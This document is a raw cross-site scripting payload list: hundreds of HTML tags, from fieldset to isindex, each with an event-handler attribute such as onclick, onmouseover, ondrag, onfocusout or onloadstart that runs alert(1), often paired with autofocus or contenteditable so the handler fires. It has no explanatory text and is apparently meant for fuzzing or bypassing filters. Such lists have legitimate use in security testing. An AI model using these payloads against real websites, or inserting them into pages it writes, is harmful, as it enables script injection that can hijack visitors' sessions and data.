<fieldset id=x tabindex=1 ondeactivate=alert(1)></fieldset><input id=y autofocus>
<fieldset onbeforepaste="alert(1)" contenteditable>test</fieldset>
<fieldset onblur=alert(1) tabindex=1 id=x></fieldset><input autofocus>
<fieldset onclick="alert(1)">test</fieldset>
<fieldset oncontextmenu="alert(1)">test</fieldset>
<fieldset oncopy="alert(1)" contenteditable>test</fieldset>
<fieldset oncut="alert(1)" contenteditable>test</fieldset>
<fieldset ondblclick="alert(1)">test</fieldset>
<fieldset onfocusout=alert(1) tabindex=1 id=x></fieldset><input autofocus>
<fieldset onkeydown="alert(1)" contenteditable>test</fieldset>
<fieldset onkeypress="alert(1)" contenteditable>test</fieldset>
<fieldset onkeyup="alert(1)" contenteditable>test</fieldset>
<fieldset onmousedown="alert(1)">test</fieldset>
<fieldset onmouseenter="alert(1)">test</fieldset>
<fieldset onmouseleave="alert(1)">test</fieldset>
<fieldset onmousemove="alert(1)">test</fieldset>
<fieldset onmouseout="alert(1)">test</fieldset>
<fieldset onmouseover="alert(1)">test</fieldset>
<fieldset onmouseup="alert(1)">test</fieldset>
<figcaption draggable="true" ondrag="alert(1)">test</figcaption>
<figcaption draggable="true" ondragend="alert(1)">test</figcaption>
<figcaption draggable="true" ondragenter="alert(1)">test</figcaption>
<figcaption draggable="true" ondragleave="alert(1)">test</figcaption>
<figcaption draggable="true" ondragstart="alert(1)">test</figcaption>
<figcaption id=x tabindex=1 onactivate=alert(1)></figcaption>
<figcaption id=x tabindex=1 onbeforeactivate=alert(1)></figcaption>
<figcaption id=x tabindex=1 onbeforedeactivate=alert(1)></figcaption><input autofocus>
<figcaption id=x tabindex=1 ondeactivate=alert(1)></figcaption><input id=y autofocus>
<figcaption onbeforepaste="alert(1)" contenteditable>test</figcaption>
<figcaption onblur=alert(1) tabindex=1 id=x></figcaption><input autofocus>
<figcaption onclick="alert(1)">test</figcaption>
<figcaption oncontextmenu="alert(1)">test</figcaption>
<figcaption oncopy="alert(1)" contenteditable>test</figcaption>
<figcaption oncut="alert(1)" contenteditable>test</figcaption>
<figcaption ondblclick="alert(1)">test</figcaption>
<figcaption onfocusout=alert(1) tabindex=1 id=x></figcaption><input autofocus>
<figcaption onkeydown="alert(1)" contenteditable>test</figcaption>
<figcaption onkeypress="alert(1)" contenteditable>test</figcaption>
<figcaption onkeyup="alert(1)" contenteditable>test</figcaption>
<figcaption onmousedown="alert(1)">test</figcaption>
<figcaption onmouseenter="alert(1)">test</figcaption>
<figcaption onmouseleave="alert(1)">test</figcaption>
<figcaption onmousemove="alert(1)">test</figcaption>
<figcaption onmouseout="alert(1)">test</figcaption>
<figcaption onmouseover="alert(1)">test</figcaption>
<figcaption onmouseup="alert(1)">test</figcaption>
<figure draggable="true" ondrag="alert(1)">test</figure>
<figure draggable="true" ondragend="alert(1)">test</figure>
<figure draggable="true" ondragenter="alert(1)">test</figure>
<figure draggable="true" ondragleave="alert(1)">test</figure>
<figure draggable="true" ondragstart="alert(1)">test</figure>
<figure id=x tabindex=1 onactivate=alert(1)></figure>
<figure id=x tabindex=1 onbeforeactivate=alert(1)></figure>
<figure id=x tabindex=1 onbeforedeactivate=alert(1)></figure><input autofocus>
<figure id=x tabindex=1 ondeactivate=alert(1)></figure><input id=y autofocus>
<figure onbeforepaste="alert(1)" contenteditable>test</figure>
<figure onblur=alert(1) tabindex=1 id=x></figure><input autofocus>
<figure onclick="alert(1)">test</figure>
<figure oncontextmenu="alert(1)">test</figure>
<figure oncopy="alert(1)" contenteditable>test</figure>
<figure oncut="alert(1)" contenteditable>test</figure>
<figure ondblclick="alert(1)">test</figure>
<figure onfocusout=alert(1) tabindex=1 id=x></figure><input autofocus>
<figure onkeydown="alert(1)" contenteditable>test</figure>
<figure onkeypress="alert(1)" contenteditable>test</figure>
<figure onkeyup="alert(1)" contenteditable>test</figure>
<figure onmousedown="alert(1)">test</figure>
<figure onmouseenter="alert(1)">test</figure>
<figure onmouseleave="alert(1)">test</figure>
<figure onmousemove="alert(1)">test</figure>
<figure onmouseout="alert(1)">test</figure>
<figure onmouseover="alert(1)">test</figure>
<figure onmouseup="alert(1)">test</figure>
<font draggable="true" ondrag="alert(1)">test</font>
<font draggable="true" ondragend="alert(1)">test</font>
<font draggable="true" ondragenter="alert(1)">test</font>
<font draggable="true" ondragleave="alert(1)">test</font>
<font draggable="true" ondragstart="alert(1)">test</font>
<font id=x tabindex=1 onactivate=alert(1)></font>
<font id=x tabindex=1 onbeforeactivate=alert(1)></font>
<font id=x tabindex=1 onbeforedeactivate=alert(1)></font><input autofocus>
<font id=x tabindex=1 ondeactivate=alert(1)></font><input id=y autofocus>
<font onbeforepaste="alert(1)" contenteditable>test</font>
<font onblur=alert(1) tabindex=1 id=x></font><input autofocus>
<font onclick="alert(1)">test</font>
<font oncontextmenu="alert(1)">test</font>
<font oncopy="alert(1)" contenteditable>test</font>
<font oncut="alert(1)" contenteditable>test</font>
<font ondblclick="alert(1)">test</font>
<font onfocusout=alert(1) tabindex=1 id=x></font><input autofocus>
<font onkeydown="alert(1)" contenteditable>test</font>
<font onkeypress="alert(1)" contenteditable>test</font>
<font onkeyup="alert(1)" contenteditable>test</font>
<font onmousedown="alert(1)">test</font>
<font onmouseenter="alert(1)">test</font>
<font onmouseleave="alert(1)">test</font>
<font onmousemove="alert(1)">test</font>
<font onmouseout="alert(1)">test</font>
<font onmouseover="alert(1)">test</font>
<font onmouseup="alert(1)">test</font>
<footer draggable="true" ondrag="alert(1)">test</footer>
<footer draggable="true" ondragend="alert(1)">test</footer>
<footer draggable="true" ondragenter="alert(1)">test</footer>
<footer draggable="true" ondragleave="alert(1)">test</footer>
<footer draggable="true" ondragstart="alert(1)">test</footer>
<footer id=x tabindex=1 onactivate=alert(1)></footer>
<footer id=x tabindex=1 onbeforeactivate=alert(1)></footer>
<footer id=x tabindex=1 onbeforedeactivate=alert(1)></footer><input autofocus>
<footer id=x tabindex=1 ondeactivate=alert(1)></footer><input id=y autofocus>
<footer onbeforepaste="alert(1)" contenteditable>test</footer>
<footer onblur=alert(1) tabindex=1 id=x></footer><input autofocus>
<footer onclick="alert(1)">test</footer>
<footer oncontextmenu="alert(1)">test</footer>
<footer oncopy="alert(1)" contenteditable>test</footer>
<footer oncut="alert(1)" contenteditable>test</footer>
<footer ondblclick="alert(1)">test</footer>
<footer onfocusout=alert(1) tabindex=1 id=x></footer><input autofocus>
<footer onkeydown="alert(1)" contenteditable>test</footer>
<footer onkeypress="alert(1)" contenteditable>test</footer>
<footer onkeyup="alert(1)" contenteditable>test</footer>
<footer onmousedown="alert(1)">test</footer>
<footer onmouseenter="alert(1)">test</footer>
<footer onmouseleave="alert(1)">test</footer>
<footer onmousemove="alert(1)">test</footer>
<footer onmouseout="alert(1)">test</footer>
<footer onmouseover="alert(1)">test</footer>
<footer onmouseup="alert(1)">test</footer>
<form draggable="true" ondrag="alert(1)">test</form>
<form draggable="true" ondragend="alert(1)">test</form>
<form draggable="true" ondragenter="alert(1)">test</form>
<form draggable="true" ondragleave="alert(1)">test</form>
<form draggable="true" ondragstart="alert(1)">test</form>
<form id=x tabindex=1 onactivate=alert(1)></form>
<form id=x tabindex=1 onbeforeactivate=alert(1)></form>
<form id=x tabindex=1 onbeforedeactivate=alert(1)></form><input autofocus>
<form id=x tabindex=1 ondeactivate=alert(1)></form><input id=y autofocus>
<form onbeforepaste="alert(1)" contenteditable>test</form>
<form onblur=alert(1) tabindex=1 id=x></form><input autofocus>
<form onclick="alert(1)">test</form>
<form oncontextmenu="alert(1)">test</form>
<form oncopy="alert(1)" contenteditable>test</form>
<form oncut="alert(1)" contenteditable>test</form>
<form ondblclick="alert(1)">test</form>
<form onfocusout=alert(1) tabindex=1 id=x></form><input autofocus>
<form onkeydown="alert(1)" contenteditable>test</form>
<form onkeypress="alert(1)" contenteditable>test</form>
<form onkeyup="alert(1)" contenteditable>test</form>
<form onmousedown="alert(1)">test</form>
<form onmouseenter="alert(1)">test</form>
<form onmouseleave="alert(1)">test</form>
<form onmousemove="alert(1)">test</form>
<form onmouseout="alert(1)">test</form>
<form onmouseover="alert(1)">test</form>
<form onmouseup="alert(1)">test</form>
<frame draggable="true" ondrag="alert(1)">test</frame>
<frame draggable="true" ondragend="alert(1)">test</frame>
<frame draggable="true" ondragenter="alert(1)">test</frame>
<frame draggable="true" ondragleave="alert(1)">test</frame>
<frame draggable="true" ondragstart="alert(1)">test</frame>
<frame id=x tabindex=1 onactivate=alert(1)></frame>
<frame id=x tabindex=1 onbeforeactivate=alert(1)></frame>
<frame id=x tabindex=1 onbeforedeactivate=alert(1)></frame><input autofocus>
<frame id=x tabindex=1 ondeactivate=alert(1)></frame><input id=y autofocus>
<frame onbeforepaste="alert(1)" contenteditable>test</frame>
<frame onblur=alert(1) tabindex=1 id=x></frame><input autofocus>
<frame onclick="alert(1)">test</frame>
<frame oncontextmenu="alert(1)">test</frame>
<frame oncopy="alert(1)" contenteditable>test</frame>
<frame oncut="alert(1)" contenteditable>test</frame>
<frame ondblclick="alert(1)">test</frame>
<frame onfocusout=alert(1) tabindex=1 id=x></frame><input autofocus>
<frame onkeydown="alert(1)" contenteditable>test</frame>
<frame onkeypress="alert(1)" contenteditable>test</frame>
<frame onkeyup="alert(1)" contenteditable>test</frame>
<frame onmousedown="alert(1)">test</frame>
<frame onmouseenter="alert(1)">test</frame>
<frame onmouseleave="alert(1)">test</frame>
<frame onmousemove="alert(1)">test</frame>
<frame onmouseout="alert(1)">test</frame>
<frame onmouseover="alert(1)">test</frame>
<frame onmouseup="alert(1)">test</frame>
<frameset draggable="true" ondrag="alert(1)">test</frameset>
<frameset draggable="true" ondragend="alert(1)">test</frameset>
<frameset draggable="true" ondragenter="alert(1)">test</frameset>
<frameset draggable="true" ondragleave="alert(1)">test</frameset>
<frameset draggable="true" ondragstart="alert(1)">test</frameset>
<frameset id=x tabindex=1 onactivate=alert(1)></frameset>
<frameset id=x tabindex=1 onbeforeactivate=alert(1)></frameset>
<frameset id=x tabindex=1 onbeforedeactivate=alert(1)></frameset><input autofocus>
<frameset id=x tabindex=1 ondeactivate=alert(1)></frameset><input id=y autofocus>
<frameset onbeforepaste="alert(1)" contenteditable>test</frameset>
<frameset onblur=alert(1) tabindex=1 id=x></frameset><input autofocus>
<frameset onclick="alert(1)">test</frameset>
<frameset oncontextmenu="alert(1)">test</frameset>
<frameset oncopy="alert(1)" contenteditable>test</frameset>
<frameset oncut="alert(1)" contenteditable>test</frameset>
<frameset ondblclick="alert(1)">test</frameset>
<frameset onfocusout=alert(1) tabindex=1 id=x></frameset><input autofocus>
<frameset onkeydown="alert(1)" contenteditable>test</frameset>
<frameset onkeypress="alert(1)" contenteditable>test</frameset>
<frameset onkeyup="alert(1)" contenteditable>test</frameset>
<frameset onmousedown="alert(1)">test</frameset>
<frameset onmouseenter="alert(1)">test</frameset>
<frameset onmouseleave="alert(1)">test</frameset>
<frameset onmousemove="alert(1)">test</frameset>
<frameset onmouseout="alert(1)">test</frameset>
<frameset onmouseover="alert(1)">test</frameset>
<frameset onmouseup="alert(1)">test</frameset>
<h1 draggable="true" ondrag="alert(1)">test</h1>
<h1 draggable="true" ondragend="alert(1)">test</h1>
<h1 draggable="true" ondragenter="alert(1)">test</h1>
<h1 draggable="true" ondragleave="alert(1)">test</h1>
<h1 draggable="true" ondragstart="alert(1)">test</h1>
<h1 id=x tabindex=1 onactivate=alert(1)></h1>
<h1 id=x tabindex=1 onbeforeactivate=alert(1)></h1>
<h1 id=x tabindex=1 onbeforedeactivate=alert(1)></h1><input autofocus>
<h1 id=x tabindex=1 ondeactivate=alert(1)></h1><input id=y autofocus>
<h1 onbeforepaste="alert(1)" contenteditable>test</h1>
<h1 onblur=alert(1) tabindex=1 id=x></h1><input autofocus>
<h1 onclick="alert(1)">test</h1>
<h1 oncontextmenu="alert(1)">test</h1>
<h1 oncopy="alert(1)" contenteditable>test</h1>
<h1 oncut="alert(1)" contenteditable>test</h1>
<h1 ondblclick="alert(1)">test</h1>
<h1 onfocusout=alert(1) tabindex=1 id=x></h1><input autofocus>
<h1 onkeydown="alert(1)" contenteditable>test</h1>
<h1 onkeypress="alert(1)" contenteditable>test</h1>
<h1 onkeyup="alert(1)" contenteditable>test</h1>
<h1 onmousedown="alert(1)">test</h1>
<h1 onmouseenter="alert(1)">test</h1>
<h1 onmouseleave="alert(1)">test</h1>
<h1 onmousemove="alert(1)">test</h1>
<h1 onmouseout="alert(1)">test</h1>
<h1 onmouseover="alert(1)">test</h1>
<h1 onmouseup="alert(1)">test</h1>
<head draggable="true" ondrag="alert(1)">test</head>
<head draggable="true" ondragend="alert(1)">test</head>
<head draggable="true" ondragenter="alert(1)">test</head>
<head draggable="true" ondragleave="alert(1)">test</head>
<head draggable="true" ondragstart="alert(1)">test</head>
<head id=x tabindex=1 onactivate=alert(1)></head>
<head id=x tabindex=1 onbeforeactivate=alert(1)></head>
<head id=x tabindex=1 onbeforedeactivate=alert(1)></head><input autofocus>
<head id=x tabindex=1 ondeactivate=alert(1)></head><input id=y autofocus>
<head id=x tabindex=1 onfocus=alert(1)></head>
<head id=x tabindex=1 onfocusin=alert(1)></head>
<head onbeforecopy="alert(1)" contenteditable>test</head>
<head onbeforecut="alert(1)" contenteditable>test</head>
<head onbeforepaste="alert(1)" contenteditable>test</head>
<head onblur=alert(1) tabindex=1 id=x></head><input autofocus>
<head onclick="alert(1)">test</head>
<head oncontextmenu="alert(1)">test</head>
<head oncopy="alert(1)" contenteditable>test</head>
<head oncut="alert(1)" contenteditable>test</head>
<head ondblclick="alert(1)">test</head>
<head onfocusout=alert(1) tabindex=1 id=x></head><input autofocus>
<head onkeydown="alert(1)" contenteditable>test</head>
<head onkeypress="alert(1)" contenteditable>test</head>
<head onkeyup="alert(1)" contenteditable>test</head>
<head onmousedown="alert(1)">test</head>
<head onmouseenter="alert(1)">test</head>
<head onmouseleave="alert(1)">test</head>
<head onmousemove="alert(1)">test</head>
<head onmouseout="alert(1)">test</head>
<head onmouseover="alert(1)">test</head>
<head onmouseup="alert(1)">test</head>
<head onpaste="alert(1)" contenteditable>test</head>
<header draggable="true" ondrag="alert(1)">test</header>
<header draggable="true" ondragend="alert(1)">test</header>
<header draggable="true" ondragenter="alert(1)">test</header>
<header draggable="true" ondragleave="alert(1)">test</header>
<header draggable="true" ondragstart="alert(1)">test</header>
<header id=x tabindex=1 onactivate=alert(1)></header>
<header id=x tabindex=1 onbeforeactivate=alert(1)></header>
<header id=x tabindex=1 onbeforedeactivate=alert(1)></header><input autofocus>
<header id=x tabindex=1 ondeactivate=alert(1)></header><input id=y autofocus>
<header onbeforepaste="alert(1)" contenteditable>test</header>
<header onblur=alert(1) tabindex=1 id=x></header><input autofocus>
<header onclick="alert(1)">test</header>
<header oncontextmenu="alert(1)">test</header>
<header oncopy="alert(1)" contenteditable>test</header>
<header oncut="alert(1)" contenteditable>test</header>
<header ondblclick="alert(1)">test</header>
<header onfocusout=alert(1) tabindex=1 id=x></header><input autofocus>
<header onkeydown="alert(1)" contenteditable>test</header>
<header onkeypress="alert(1)" contenteditable>test</header>
<header onkeyup="alert(1)" contenteditable>test</header>
<header onmousedown="alert(1)">test</header>
<header onmouseenter="alert(1)">test</header>
<header onmouseleave="alert(1)">test</header>
<header onmousemove="alert(1)">test</header>
<header onmouseout="alert(1)">test</header>
<header onmouseover="alert(1)">test</header>
<header onmouseup="alert(1)">test</header>
<hgroup draggable="true" ondrag="alert(1)">test</hgroup>
<hgroup draggable="true" ondragend="alert(1)">test</hgroup>
<hgroup draggable="true" ondragenter="alert(1)">test</hgroup>
<hgroup draggable="true" ondragleave="alert(1)">test</hgroup>
<hgroup draggable="true" ondragstart="alert(1)">test</hgroup>
<hgroup id=x tabindex=1 onactivate=alert(1)></hgroup>
<hgroup id=x tabindex=1 onbeforeactivate=alert(1)></hgroup>
<hgroup id=x tabindex=1 onbeforedeactivate=alert(1)></hgroup><input autofocus>
<hgroup id=x tabindex=1 ondeactivate=alert(1)></hgroup><input id=y autofocus>
<hgroup onbeforepaste="alert(1)" contenteditable>test</hgroup>
<hgroup onblur=alert(1) tabindex=1 id=x></hgroup><input autofocus>
<hgroup onclick="alert(1)">test</hgroup>
<hgroup oncontextmenu="alert(1)">test</hgroup>
<hgroup oncopy="alert(1)" contenteditable>test</hgroup>
<hgroup oncut="alert(1)" contenteditable>test</hgroup>
<hgroup ondblclick="alert(1)">test</hgroup>
<hgroup onfocusout=alert(1) tabindex=1 id=x></hgroup><input autofocus>
<hgroup onkeydown="alert(1)" contenteditable>test</hgroup>
<hgroup onkeypress="alert(1)" contenteditable>test</hgroup>
<hgroup onkeyup="alert(1)" contenteditable>test</hgroup>
<hgroup onmousedown="alert(1)">test</hgroup>
<hgroup onmouseenter="alert(1)">test</hgroup>
<hgroup onmouseleave="alert(1)">test</hgroup>
<hgroup onmousemove="alert(1)">test</hgroup>
<hgroup onmouseout="alert(1)">test</hgroup>
<hgroup onmouseover="alert(1)">test</hgroup>
<hgroup onmouseup="alert(1)">test</hgroup>
<hr draggable="true" ondrag="alert(1)">test</hr>
<hr draggable="true" ondragend="alert(1)">test</hr>
<hr draggable="true" ondragenter="alert(1)">test</hr>
<hr draggable="true" ondragleave="alert(1)">test</hr>
<hr draggable="true" ondragstart="alert(1)">test</hr>
<hr id=x tabindex=1 onactivate=alert(1)></hr>
<hr id=x tabindex=1 onbeforeactivate=alert(1)></hr>
<hr id=x tabindex=1 onbeforedeactivate=alert(1)></hr><input autofocus>
<hr id=x tabindex=1 ondeactivate=alert(1)></hr><input id=y autofocus>
<hr onbeforepaste="alert(1)" contenteditable>test</hr>
<hr onblur=alert(1) tabindex=1 id=x></hr><input autofocus>
<hr onclick="alert(1)">test</hr>
<hr oncontextmenu="alert(1)">test</hr>
<hr oncopy="alert(1)" contenteditable>test</hr>
<hr oncut="alert(1)" contenteditable>test</hr>
<hr ondblclick="alert(1)">test</hr>
<hr onfocusout=alert(1) tabindex=1 id=x></hr><input autofocus>
<hr onkeydown="alert(1)" contenteditable>test</hr>
<hr onkeypress="alert(1)" contenteditable>test</hr>
<hr onkeyup="alert(1)" contenteditable>test</hr>
<hr onmousedown="alert(1)">test</hr>
<hr onmouseenter="alert(1)">test</hr>
<hr onmouseleave="alert(1)">test</hr>
<hr onmousemove="alert(1)">test</hr>
<hr onmouseout="alert(1)">test</hr>
<hr onmouseover="alert(1)">test</hr>
<hr onmouseup="alert(1)">test</hr>
<html draggable="true" ondrag="alert(1)">test</html>
<html draggable="true" ondragend="alert(1)">test</html>
<html draggable="true" ondragenter="alert(1)">test</html>
<html draggable="true" ondragleave="alert(1)">test</html>
<html draggable="true" ondragstart="alert(1)">test</html>
<html id=x tabindex=1 onactivate=alert(1)></html>
<html id=x tabindex=1 onbeforeactivate=alert(1)></html>
<html id=x tabindex=1 onbeforedeactivate=alert(1)></html><input autofocus>
<html id=x tabindex=1 ondeactivate=alert(1)></html><input id=y autofocus>
<html onbeforepaste="alert(1)" contenteditable>test</html>
<html onblur=alert(1) tabindex=1 id=x></html><input autofocus>
<html onclick="alert(1)">test</html>
<html oncontextmenu="alert(1)">test</html>
<html oncopy="alert(1)" contenteditable>test</html>
<html oncut="alert(1)" contenteditable>test</html>
<html ondblclick="alert(1)">test</html>
<html onfocusout=alert(1) tabindex=1 id=x></html><input autofocus>
<html onkeydown="alert(1)" contenteditable>test</html>
<html onkeypress="alert(1)" contenteditable>test</html>
<html onkeyup="alert(1)" contenteditable>test</html>
<html onmousedown="alert(1)">test</html>
<html onmouseenter="alert(1)">test</html>
<html onmouseleave="alert(1)">test</html>
<html onmousemove="alert(1)">test</html>
<html onmouseout="alert(1)">test</html>
<html onmouseover="alert(1)">test</html>
<html onmouseup="alert(1)">test</html>
<i draggable="true" ondrag="alert(1)">test</i>
<i draggable="true" ondragend="alert(1)">test</i>
<i draggable="true" ondragenter="alert(1)">test</i>
<i draggable="true" ondragleave="alert(1)">test</i>
<i draggable="true" ondragstart="alert(1)">test</i>
<i id=x tabindex=1 onactivate=alert(1)></i>
<i id=x tabindex=1 onbeforeactivate=alert(1)></i>
<i id=x tabindex=1 onbeforedeactivate=alert(1)></i><input autofocus>
<i id=x tabindex=1 ondeactivate=alert(1)></i><input id=y autofocus>
<i onbeforepaste="alert(1)" contenteditable>test</i>
<i onblur=alert(1) tabindex=1 id=x></i><input autofocus>
<i onclick="alert(1)">test</i>
<i oncontextmenu="alert(1)">test</i>
<i oncopy="alert(1)" contenteditable>test</i>
<i oncut="alert(1)" contenteditable>test</i>
<i ondblclick="alert(1)">test</i>
<i onfocusout=alert(1) tabindex=1 id=x></i><input autofocus>
<i onkeydown="alert(1)" contenteditable>test</i>
<i onkeypress="alert(1)" contenteditable>test</i>
<i onkeyup="alert(1)" contenteditable>test</i>
<i onmousedown="alert(1)">test</i>
<i onmouseenter="alert(1)">test</i>
<i onmouseleave="alert(1)">test</i>
<i onmousemove="alert(1)">test</i>
<i onmouseout="alert(1)">test</i>
<i onmouseover="alert(1)">test</i>
<i onmouseup="alert(1)">test</i>
<iframe draggable="true" ondrag="alert(1)">test</iframe>
<iframe draggable="true" ondragend="alert(1)">test</iframe>
<iframe draggable="true" ondragenter="alert(1)">test</iframe>
<iframe draggable="true" ondragleave="alert(1)">test</iframe>
<iframe draggable="true" ondragstart="alert(1)">test</iframe>
<iframe id=x tabindex=1 onactivate=alert(1)></iframe>
<iframe id=x tabindex=1 onbeforeactivate=alert(1)></iframe>
<iframe id=x tabindex=1 onbeforedeactivate=alert(1)></iframe><input autofocus>
<iframe id=x tabindex=1 ondeactivate=alert(1)></iframe><input id=y autofocus>
<iframe onbeforepaste="alert(1)" contenteditable>test</iframe>
<iframe onblur=alert(1) id=x><input autofocus>
<iframe onclick="alert(1)">test</iframe>
<iframe oncontextmenu="alert(1)">test</iframe>
<iframe oncopy="alert(1)" contenteditable>test</iframe>
<iframe oncut="alert(1)" contenteditable>test</iframe>
<iframe ondblclick="alert(1)">test</iframe>
<iframe onfocusout=alert(1) id=x><input autofocus>
<iframe onkeydown="alert(1)" contenteditable>test</iframe>
<iframe onkeypress="alert(1)" contenteditable>test</iframe>
<iframe onkeyup="alert(1)" contenteditable>test</iframe>
<iframe onmousedown="alert(1)">test</iframe>
<iframe onmouseenter="alert(1)">test</iframe>
<iframe onmouseleave="alert(1)">test</iframe>
<iframe onmousemove="alert(1)">test</iframe>
<iframe onmouseout="alert(1)">test</iframe>
<iframe onmouseover="alert(1)">test</iframe>
<iframe onmouseup="alert(1)">test</iframe>
<iframe onreadystatechange=alert(1)></iframe>
<image draggable="true" ondrag="alert(1)">test</image>
<image draggable="true" ondragend="alert(1)">test</image>
<image draggable="true" ondragenter="alert(1)">test</image>
<image draggable="true" ondragleave="alert(1)">test</image>
<image draggable="true" ondragstart="alert(1)">test</image>
<image id=x tabindex=1 onactivate=alert(1)></image>
<image id=x tabindex=1 onbeforeactivate=alert(1)></image>
<image id=x tabindex=1 onbeforedeactivate=alert(1)></image><input autofocus>
<image id=x tabindex=1 ondeactivate=alert(1)></image><input id=y autofocus>
<image onbeforepaste="alert(1)" contenteditable>test</image>
<image onblur=alert(1) tabindex=1 id=x></image><input autofocus>
<image onclick="alert(1)">test</image>
<image oncontextmenu="alert(1)">test</image>
<image oncopy="alert(1)" contenteditable>test</image>
<image oncut="alert(1)" contenteditable>test</image>
<image ondblclick="alert(1)">test</image>
<image onfocusout=alert(1) tabindex=1 id=x></image><input autofocus>
<image onkeydown="alert(1)" contenteditable>test</image>
<image onkeypress="alert(1)" contenteditable>test</image>
<image onkeyup="alert(1)" contenteditable>test</image>
<image onmousedown="alert(1)">test</image>
<image onmouseenter="alert(1)">test</image>
<image onmouseleave="alert(1)">test</image>
<image onmousemove="alert(1)">test</image>
<image onmouseout="alert(1)">test</image>
<image onmouseover="alert(1)">test</image>
<image onmouseup="alert(1)">test</image>
<image src=validimage.png onloadend=alert(1)>
<image src=validimage.png onloadstart=alert(1)>
<img draggable="true" ondrag="alert(1)">test</img>
<img draggable="true" ondragend="alert(1)">test</img>
<img draggable="true" ondragenter="alert(1)">test</img>
<img draggable="true" ondragleave="alert(1)">test</img>
<img draggable="true" ondragstart="alert(1)">test</img>
<img id=x tabindex=1 onactivate=alert(1)></img>
<img id=x tabindex=1 onbeforeactivate=alert(1)></img>
<img id=x tabindex=1 onbeforedeactivate=alert(1)></img><input autofocus>
<img id=x tabindex=1 ondeactivate=alert(1)></img><input id=y autofocus>
<img onbeforepaste="alert(1)" contenteditable>test</img>
<img onblur=alert(1) tabindex=1 id=x></img><input autofocus>
<img onclick="alert(1)">test</img>
<img oncontextmenu="alert(1)">test</img>
<img oncopy="alert(1)" contenteditable>test</img>
<img oncut="alert(1)" contenteditable>test</img>
<img ondblclick="alert(1)">test</img>
<img onfocusout=alert(1) tabindex=1 id=x></img><input autofocus>
<img onkeydown="alert(1)" contenteditable>test</img>
<img onkeypress="alert(1)" contenteditable>test</img>
<img onkeyup="alert(1)" contenteditable>test</img>
<img onmousedown="alert(1)">test</img>
<img onmouseenter="alert(1)">test</img>
<img onmouseleave="alert(1)">test</img>
<img onmousemove="alert(1)">test</img>
<img onmouseout="alert(1)">test</img>
<img onmouseover="alert(1)">test</img>
<img onmouseup="alert(1)">test</img>
<img src=validimage.png onloadend=alert(1)>
<img src=validimage.png onloadstart=alert(1)>
<input draggable="true" ondrag="alert(1)">test</input>
<input draggable="true" ondragend="alert(1)">test</input>
<input draggable="true" ondragenter="alert(1)">test</input>
<input draggable="true" ondragleave="alert(1)">test</input>
<input draggable="true" ondragstart="alert(1)">test</input>
<input id=x tabindex=1 onactivate=alert(1)></input>
<input id=x tabindex=1 onbeforeactivate=alert(1)></input>
<input id=x tabindex=1 onbeforedeactivate=alert(1)></input><input autofocus>
<input id=x tabindex=1 ondeactivate=alert(1)></input><input id=y autofocus>
<input onbeforepaste=alert(1) value="" autofocus>
<input onblur=alert(1) id=x><input autofocus>
<input onclick="alert(1)">test</input>
<input oncontextmenu="alert(1)">test</input>
<input oncopy=alert(1) value="XSS" autofocus>
<input oncut=alert(1) value="XSS" autofocus>
<input ondblclick="alert(1)">test</input>
<input onfocusout=alert(1) id=x><input autofocus>
<input onkeydown="alert(1)" contenteditable>test</input>
<input onkeypress="alert(1)" contenteditable>test</input>
<input onkeyup="alert(1)" contenteditable>test</input>
<input onmousedown="alert(1)">test</input>
<input onmouseenter="alert(1)">test</input>
<input onmouseleave="alert(1)">test</input>
<input onmousemove="alert(1)">test</input>
<input onmouseout="alert(1)">test</input>
<input onmouseover="alert(1)">test</input>
<input onmouseup="alert(1)">test</input>
<input type=image onloadend=alert(1) src=validimage.png>
<input type=image onloadstart=alert(1) src=validimage.png>
<ins draggable="true" ondrag="alert(1)">test</ins>
<ins draggable="true" ondragend="alert(1)">test</ins>
<ins draggable="true" ondragenter="alert(1)">test</ins>
<ins draggable="true" ondragleave="alert(1)">test</ins>
<ins draggable="true" ondragstart="alert(1)">test</ins>
<ins id=x tabindex=1 onactivate=alert(1)></ins>
<ins id=x tabindex=1 onbeforeactivate=alert(1)></ins>
<ins id=x tabindex=1 onbeforedeactivate=alert(1)></ins><input autofocus>
<ins id=x tabindex=1 ondeactivate=alert(1)></ins><input id=y autofocus>
<ins onbeforepaste="alert(1)" contenteditable>test</ins>
<ins onblur=alert(1) tabindex=1 id=x></ins><input autofocus>
<ins onclick="alert(1)">test</ins>
<ins oncontextmenu="alert(1)">test</ins>
<ins oncopy="alert(1)" contenteditable>test</ins>
<ins oncut="alert(1)" contenteditable>test</ins>
<ins ondblclick="alert(1)">test</ins>
<ins onfocusout=alert(1) tabindex=1 id=x></ins><input autofocus>
<ins onkeydown="alert(1)" contenteditable>test</ins>
<ins onkeypress="alert(1)" contenteditable>test</ins>
<ins onkeyup="alert(1)" contenteditable>test</ins>
<ins onmousedown="alert(1)">test</ins>
<ins onmouseenter="alert(1)">test</ins>
<ins onmouseleave="alert(1)">test</ins>
<ins onmousemove="alert(1)">test</ins>
<ins onmouseout="alert(1)">test</ins>
<ins onmouseover="alert(1)">test</ins>
<ins onmouseup="alert(1)">test</ins>
<isindex draggable="true" ondrag="alert(1)">test</isindex>
<isindex draggable="true" ondragend="alert(1)">test</isindex>
<isindex draggable="true" ondragenter="alert(1)">test</isindex>
<isindex draggable="true" ondragleave="alert(1)">test</isindex>
<isindex draggable="true" ondragstart="alert(1)">test</isindex>
<isindex id=x tabindex=1 onactivate=alert(1)></isindex>
<isindex id=x tabindex=1 onbeforeactivate=alert(1)></isindex>
<isindex id=x tabindex=1 onbeforedeactivate=alert(1)></isindex><input autofocus>
<isindex id=x tabindex=1 ondeactivate=alert(1)></isindex><input id=y autofocus>
<isindex id=x tabindex=1 onfocus=alert(1)></isindex>
<isindex id=x tabindex=1 onfocusin=alert(1)></isindex>
<isindex onbeforecopy="alert(1)" contenteditable>test</isindex>
<isindex onbeforecut="alert(1)" contenteditable>test</isindex>
<isindex onbeforepaste="alert(1)" contenteditable>test</isindex>
<isindex onblur=alert(1) tabindex=1 id=x></isindex><input autofocus>
<isindex onclick="alert(1)">test</isindex>
<isindex oncontextmenu="alert(1)">test</isindex>
<isindex oncopy="alert(1)" contenteditable>test</isindex>
<isindex oncut="alert(1)" contenteditable>test</isindex>
<isindex ondblclick="alert(1)">test</isindex>
<isindex onfocusout=alert(1) tabindex=1 id=x></isindex><input autofocus>
<isindex onkeydown="alert(1)" contenteditable>test</isindex>
<isindex onkeypress="alert(1)" contenteditable>test</isindex>
<isindex onkeyup="alert(1)" contenteditable>test</isindex>
<isindex onmousedown="alert(1)">test</isindex>
<isindex onmouseenter="alert(1)">test</isindex>
<isindex onmouseleave="alert(1)">test</isindex>
